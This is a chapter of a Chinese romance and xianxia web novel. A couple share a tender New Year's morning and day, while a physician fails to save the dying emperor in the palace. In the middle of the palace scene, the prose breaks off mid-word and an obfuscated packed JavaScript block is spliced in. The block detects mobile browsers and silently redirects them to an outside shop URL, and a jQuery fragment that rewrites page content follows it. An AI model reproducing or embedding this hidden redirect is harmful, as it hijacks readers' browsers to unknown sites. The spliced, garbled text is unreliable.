岁朝日，晨光盈窗。


    江晚莲是被晃醒的。意识回笼的瞬间，她先感受到的不是日光，而是近在咫尺的温热——带着规律起伏和清冽气息。她迷迷糊糊睁眼，入目的不是绣花枕头，而是一片玄色衣料，以及散落其上、如墨铺开的乌黑长发。


    她大脑宕机三秒。


    睡意一下就没了。她一寸一寸，极其缓慢地向上挪动视线——


    易逢序平静的睡颜，近在咫尺。


    近到她能数清他垂落的睫毛，能看清他呼吸时鼻翼轻微的翕动。他侧躺着面对她，一只手枕在自己脸侧，另一只手以一种极其自然、极其理所应当的姿态，环在她腰间。她的额头抵在他锁骨下方，他的下颌虚虚落在她发顶，将她半圈在怀里。


    而她，一只手不知什么时候攥着他胸前衣襟，像梦里揪住了什么，不愿松开。


    江晚莲全身的血都在往脸上涌。


    她盯着他熟睡的脸，脑内只剩下炸裂的问号：什么时候？！怎么回事？！为什么？！昨晚在河边放了灯后就回了宅子……再后来……她努力回想。


    然后就没有然后了。


    真的然后就没有然后了！！


    她真的什么都——没——干——啊——！！


    她内心疯狂呐喊，身体却像被点了穴，动也不敢动。可她忍不住去看他——他平日总将墨发高高束起，衬得整个人冷峻疏离。此刻三千青丝失了束缚，尽数铺散枕上肩头，有几缕搭在他脸颊边，随他平稳呼吸微微起伏。睡梦中的他，褪去清醒时所有凌厉警惕，眉眼舒展，嘴唇轻抿，竟透出不设防的、近乎脆弱的温柔。


    心跳渐渐平复，脸颊热度慢慢降下，取而代之的是一种又甜又软的、陌生又奇异的感觉。她鬼使神差地松开他衣襟，极轻极轻地，触碰了他散落枕上的一缕发丝。


    微凉，柔顺，如上好绸缎。


    就在此时，他眼睫微微一颤。


    江晚莲触电般缩回手，闭眼，迅速进入“我还在睡”的装死状态。心跳声大得像擂鼓。


    几秒后，环在腰间的手臂动了动，随即收紧。头顶传来轻微衣物摩擦声——他醒了，正在看她。那目光仿佛有实质，落在她脸上，烫得她睫毛直颤。


    “……醒了？”他声音带着初醒的低哑，比平日更沉，在这清晨安静的光线里，有种说不出的亲昵。


    装不下去了。她睁开眼，正对上他垂眸看来的视线。那双异色眼眸此刻没有半分凌厉，眼底漾着极淡的餍足与柔软，像被晒暖的湖水。


    “我、我……”她张了张嘴，想问你怎么在这里，想问昨晚发生了什么，所有质问在他这样的注视下都溃不成军。最终，她只憋出一句连自己都觉得毫无气势的话：“你的头发……散了。”


    易逢序似乎没料到她会先说这个。他微微一怔，抬手拈起脸侧一缕垂落的发丝，看了一眼，放下，语气平淡却带着奇异的坦然：“束着睡不舒服。”


    “那你以前都是束着睡的！”


    “以前没有你。”


    江晚莲：“……”


    杀人诛心，不外如是。


    她觉得自己现在急需一杯凉水，不，一桶凉水，从头浇下。


    沉默几息。晨光在他们之间静静流淌，窗外隐约几声清脆鸟鸣。


    “……我帮你束吧。”她忽然开口，声音比想象中更轻，却意外坚定。


    易逢序看着她，没说话。


    “我会的！”她连忙补充，“高马尾能有什么难的！”说着，她已撑着身子坐起来，完全没意识到自己此刻正坐在他的被窝里、他的手臂还环在她腰间。


    易逢序也坐起身，终于收回那只手。晨光从窗棂斜斜射入，落在他二人之间，照得空气中浮尘如金。他没有拒绝，只是安静看着她，点了点头。


    江晚莲几乎是跳下床的，赤着脚跑到梳妆台前取木梳，又跑回来，在床边站定。易逢序已背过身去，端端正正坐着，脊背挺直如松，等待着。


    她深吸一口气，轻轻坐下，跪坐他身后。


    木梳穿过他墨发的瞬间，她几乎屏住呼吸。发丝比她想象的更顺滑，带着淡淡的、属于他的清冽气息。她小心地一下一下梳着，从发根到发尾，生怕扯痛他。易逢序一动不动，安静得像怕惊碎这一刻的宁静。


    晨光在他们周围铺展成暖金色的河。窗外隐约传来街巷远处的人声，新岁的热闹还未散去，但这一隅，只有木梳穿过发丝的轻微沙沙声，和两人清浅交织的呼吸。


    江晚莲将他所有发丝拢在掌心，高高束起，用那根发带仔细缠绕、系紧。指尖在他发间穿梭，偶尔触到他后颈，能感觉到他极轻的、几乎难以察觉的瑟缩。


    “好了。”她放下梳子，声音有些飘。


    易逢序转过头来。高马尾利落地束起，恢复了平日那副清冷疏离的模样，可那双望向她的眼眸里，却漾着一层极淡的、她从未见过的柔和。他看着她，忽然伸手，将她垂落在脸侧的一缕碎发极自然地别到耳后。指尖擦过她脸颊，带着微温。


    “……谢谢。”他说。


    江晚莲的脸，又红了。


    如果说昨夜的易逢序是那座终于被叩开的孤城，那么这一整个岁朝日，他便是卸下所有防备、将城门大敞的降将。


    起初江晚莲并未察觉异样。她洗漱更衣，出房门时，易逢序已站在廊下。他依旧那副淡漠神情，只是在她出现那一刻，目光便如影随形地黏过来。


    她往前院走，他跟在她身侧半步。


    她去厨房倒水，他倚门边等她。


    她在庭院石凳坐下晒太阳，他便在她旁边坐下。很近的那种“旁边”，近到衣袂几乎相触。


    江晚莲捧着茶杯，心想：也许是巧合，毕竟他本来没事做。


    然后她起身去净手，刚进回廊拐角，一转身，差点撞进他怀里。


    “……”她捂着心口后退，“你跟着我干嘛？”


    易逢序垂眸看她，理直气壮，语气平淡：“没跟着。顺路。”


    顺路？！从庭院到茅房你顺什么路！


    再然后，她终于发现了“问题”的严重性。


    她坐在窗边看一本苏然兮留下的闲杂游记——易逢序就坐她对面，也拿着一本书。但半刻钟过去了，书页没翻过。他的目光透过书脊上方，光明正大地落在她脸上。


    她抬眼，对上他视线。他若无其事地收回目光，低头，翻了一页。


    她低头继续看。三秒后，那道视线又落回来。


    她再抬眼。他再低头。


    如是者三。


    江晚莲放下书：“你是不是有话要跟我说？”


    易逢序放下书，想了想：“没有。”


    “那你为什么一直看我？”


    他沉默一瞬，那双异色眼眸里透出极浅淡、几乎难以察觉的委屈：“不能看？”


    江晚莲被他问得噎住。这人怎么变得这么理直气壮又黏黏糊糊！昨晚之前明明不是这样的！昨晚之前他至少还会保持该有的社交距离！


    但她偏偏……没法拒绝。


    “……能看。”她小声嘟囔，低头继续翻书，耳根却悄悄红了。


    傍晚时分，夕阳将庭院染成温柔的橘红。


    江晚莲坐在廊下，看着天边烧成锦缎的云霞。没有追杀，没有幻境，没有生死一线的挣扎，只有——只有身边这个人。


    易逢序不知何时靠了过来，肩膀与她轻轻相触。他没说话，只是安静地和她一起看着那片渐变的天空。晚风拂过，带着早春泥土解冻的气息和远处炊烟的人间味道。


    江晚莲侧头看他。夕阳勾勒出他侧脸的轮廓，镀上一层柔和的金边，将那些凌厉线条都软化几分。他忽然转过头，对上她的视线。四目相对，他极轻地眨了眨眼，然后——身体一歪，自然而然地，将头靠在了她的肩膀上。


    江晚莲低头，只能看到他墨色的发顶和垂落的、微微颤动的长睫。他的呼吸平稳而绵长，仿佛这个姿势是天经地义的归宿。


    她犹豫足足三息，最终，还是没能说出任何煞风景的话。她只是轻轻调整了一下姿势，让他靠得更舒服些。


    夕阳沉入天际，暮色四合。


    “……易逢序。”她的声音很轻。


    “嗯。”


    “你这样，好像黏人精。”


    他沉默片刻，没有抬头，声音闷闷地从她肩窝传来：


    “嗯。黏你。”


    江晚莲没有再说话。她抬头望着天边最后一缕霞光，嘴角的笑容压都压不下去。


    夜空下，京城另一端的皇宫，却浸在无边的冰冷与绝望里。


    承明殿外，太医和内侍跪了一地，噤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173190|193544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若寒蝉，连呼吸都放得极轻。殿内灯火通明，却驱不散那股沉甸甸压在每个人心头的阴翳。


    苏衍站在龙榻边，已整整一个时辰。


    他双手沾满各种灵药的残渍，指尖因长时间施术而微微颤抖。榻上的大宁天子——那位曾励精图治、也曾疯癫狂暴的中年帝王——此刻安静得如同一个寻常病入膏肓之人。面庞枯槁，眼窝深陷，呼吸微弱得如同虚无，像一具被抽干所有生机的空壳。


    那些被他和苏然兮拼命压制、拖延了数日的“东西”，终于在今夜全面反扑。


    不是蛊。不是毒。不是任何他能认知的病症或邪术。那是一种从灵魂深处开始侵蚀的、无法逆转的腐败，像无形的蛆虫，将一个人的神智、寿元、乃至存在本身，一点一点啃噬殆尽。它潜伏太久，今日终于露出獠牙。


    苏衍用尽了他所能想到的一切方法。三仙宗最顶尖的续命丹，他亲手炼制的护心符箓，甚至不惜耗费本命精元试图牵引帝王体内四散崩离的真气——全都没有用。那腐败的速度比他施救更快，他刚护住一处，另一处已开始溃烂；他刚稳住心神，帝王的生机已如指间流沙，无法挽回地、飞速逝去。


    太后早已哭干了泪，由两名嬷嬷搀扶着站在屏风后，目光浑浊而空洞。皇后跪在榻尾，以袖掩面，压抑的啜泣声断断续续，像濒死鸟雀的哀鸣。


    苏然兮站在兄长身后，脸色苍白如纸，双手死死绞在一起，指甲陷进肉里。她看着兄长颤抖的指尖，看着他额角不断滚落的汗珠，看着他眼中那种从惊愕、到不信、再到深深的、无能为力的绝望——


    她从未见过哥哥这副模样。


    从小，苏衍就是她的天。他嬉皮笑脸、嘴贱又傲娇，却总在有人需要时第一个挡在前面；他嘴上说着“悬壶济世太累不如躺平”，却为了救治一个素不相识的贫苦农人彻夜不眠翻遍医书。他是三仙宗最年轻的峰主，是无数人口中的天才，是她最骄傲的哥哥。


    可此刻，这个骄傲的人，正在他无法战胜的敌人面前，一点一点弯下脊梁。


    “哥……”苏然兮终于忍不住，上前一步，将手轻轻覆在苏衍冰凉的手背上，“你已经尽力了，不是你的错……”


    苏衍没有回应。他只是死死盯着榻上帝王那张逐渐失去所有生气的脸，瞳孔微微涣散。他忽然想起很多年前，自己初入师门时许下的宏愿——要悬壶济世，要救尽天下可救之人，救亡国一线。


    彼时师父只淡淡看了他一眼，说：“救尽天下？你能救眼前这一个，已是造化。”


    年轻气盛，他不信。


    此刻他终于信了。


    午夜子时，更漏滴尽最后一滴水。


    大宁第十九代皇帝，在位十七年，崩于承明殿。


    太后发出撕心裂肺的哀号，那声音苍老、破碎，如同宫墙深处千百年来无数深宫怨魂的集体悲鸣。皇后扑倒在龙榻边，泣不成声，拼命想抓住帝王尚有余温的手，仿佛只要不松开，他就还能回来。


    苏衍一动不动地站着，看着这一切，看着殿中哭嚎跪倒的人群，看着那盏帝王专用的、象征人皇之位的长明灯，被人缓缓熄灭。


    殿外，夜风忽然大了起来，将满宫悬挂的新春红绸吹得猎猎作响。那些象征着吉祥、喜庆、新岁的鲜艳色彩，在帝星陨落的暗夜里，显得如此苍白、讽刺，又徒劳。


    苏然兮再也忍不住，泪水夺眶而出。但她没有哭出声，只是咬着嘴唇，死死忍着，将头埋在兄长肩侧，双手紧紧攥着他的衣襟。她不敢哭。她怕她一出声，哥哥就真的撑不住了。


    苏衍缓缓抬起头，望着殿外那片深不见底的、吞噬了一切光亮的夜空。


    今夜没有星星。那盏他亲手放飞的孔明灯，早已不知飘向何处。和他年少时那些天真而可笑的梦想一样，杳无踪迹。


    他张了张嘴，想说些什么——或许是骂人的话，或许是自嘲，或许是那句憋在心里很多年、一直不肯承认的“我输了”。


    但最终，什么声音也没有发出。


    承明殿外的钟声，沉闷地响了起来。一声，两声，三声……低沉而悠远，回荡在整座皇城上空，传向京城千家万户尚在沉睡的梦里。


    大宁的时代，结束了。


    新的一年，就这样在极致的甜与极致的苦之间，不动声色地，翻过了第一页。